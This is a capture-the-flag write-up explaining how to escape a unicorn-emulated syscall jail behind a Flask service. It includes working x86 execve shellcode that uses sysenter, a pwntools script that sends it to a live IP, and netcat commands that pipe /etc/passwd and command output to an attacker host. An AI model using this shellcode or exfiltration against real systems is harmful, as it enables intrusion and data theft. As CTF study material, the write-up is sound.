Tags: pwn x86 

Rating:

# Baby Sandbox
___

In this challenge, we were given following input data:
- source - tiny webservice written in ``python`` (3.6) + ``flask``.
- bin - the ELF32 binary that was supposed to be handling the payload sent by us (eventually).

Within webservice's source file, we could find additional technology - ``unicorn``.
It is CPU emulator that is supposed to emulate the actual jail that we had to escape from.
The binary itself was ready to execute arbitrary code (256 bytes), unless blocked in jail.

It took me a while to solve the logic behind this chall due to indirect call to the binary - via ``nc``!

So in the high level view, the flow is like this:
- ``flask`` layer serves couple of endpoints , including ``/`` and ``/exploit``
First is used to initiate required cookie session, while the latter is self descriptiven
- we send base64 encoded payload on ``/exploit`` endpoint
- Once there, payload is examined in ``unicorn``. Every 80h interrupt is filtered out - i.e. value of eax register is compared with the blacklisted syscall.
- If the payload is not jailed by ``unicorn``, it is passed to the binary via ``netcat``.

___
## The plan

It looks straightforward - we have to bypass the jail and execute arbitrary code to get a flag which is 'promised' to be set in the private/secret.txt file (see python source).

___
## The approaches

There are multiple ways to achieve that:
- do not use blacklisted syscalls
- abuse logic
- crash ``unicorn`` emulation
- use blacklisted syscalls anyway - avoid ``int``

### sysenter

The jail can be bypassed by ``sysenter`` x86 instruction. No int 80h means no validation.

### int != 0x80

Within the ``hook_intr`` 'function', we can find this branch:

```
def hook_intr(uc, intno, user_data):
if intno != 0x80:
uc.emu_stop()
return
```

So if we would issue interrupt, say '3', we could stop the ``unicorn`` emulation and break the jail,
as well as the ``bin`` process that awaits for our payload.
However, the ``signal`` syscall is not blacklisted, therefore we could register signal handler on SIGSEGV
and execute arbitrary code from the signal handler.

### brk() x2

Another way to bypass the jail logic is to break unicorn before interrupt validation.
One possibility is to perform brk() syscall (twice) and read/write to the newly allocated memory location.

### forgotten execveat

``execveat`` syscall does not have even libc's caller and could be used here as well. This approach has not been tested however.

In any case, we can not retrieve the flag as a result of http request, because stdout of the ``bin`` hosting process is not tied with the webservice at any known interface. This implies, that we have to either spawn remote shell or send stdout of ``bin`` host process to the remote-end (attacker controlled-end).

Following exploit uses latter approach.

___
## The exploit

Following exploit uses well known ``pwntools`` and other useful packages - see imports.
The autogenerated x86 assembly uses execve() syscall and sysenter instruction in a inifite loop, simulating real shell.

The implicit prerequisite is the remote-end controlled by attacker to retrieve data from attacking endpoint.
For example, having controlled IP 1.2.3.4 and port 1337, the command that could be used to retrieve ``/etc/passwd`` file from the ``bin`` hosting process' OS, could look like this:

```
nc 1.2.3.4 1337 < /etc/passwd
```

stdout of any command could be retrieved as follows, i.e. ``ls``
```
ls -la | nc 1.2.3.4 1337
```

```
import sys
from pwn import *
from base64 import b64decode, b64encode
import requests
import json

payload_prologue="""
mov ebp, esp
push 0x1010101
xor dword ptr [esp], 0x169722e
push 0x6e69622f
push 0x1010101
xor dword ptr [esp], 0x101622c
"""

payload_epilogue="""
lea eax, [ebp-0x8]
lea ebx, [ebp-0xc]
mov ecx, esp
push 0
push ecx
push ebx
push eax

push 0xdeadbeef
lea eax, [esp+4]
mov [esp], eax
mov eax, 11
mov ebx, [esp+4]
mov ecx, [esp]
mov edx, 0

push ecx
push edx
push ebp
mov ebp, esp
sysenter
"""

URL = '178.128.100.75'
URL1 = 'http://{}/'.format(URL)
URL2 = 'http://{}/exploit'.format(URL)
while True:
sys.stdout.write('$ ')
sys.stdout.flush()
payload_cmd = shellcraft.pushstr(raw_input())
payload = payload_prologue + payload_cmd + payload_epilogue
shellcode=asm(payload)
data = {"payload": "{}".format( b64encode(shellcode) )}
log.info('payload: {}'.format(b64encode(shellcode)))
s = requests.session()
r1 = s.get(URL1)
r2 = s.post(URL2,data=json.dumps(data))
```

___
## This is the end

That's it. Oh really ? Nope. The promised flag is not in the ``private/secret.txt`` file.
It was found in the ``/flag`` file instead.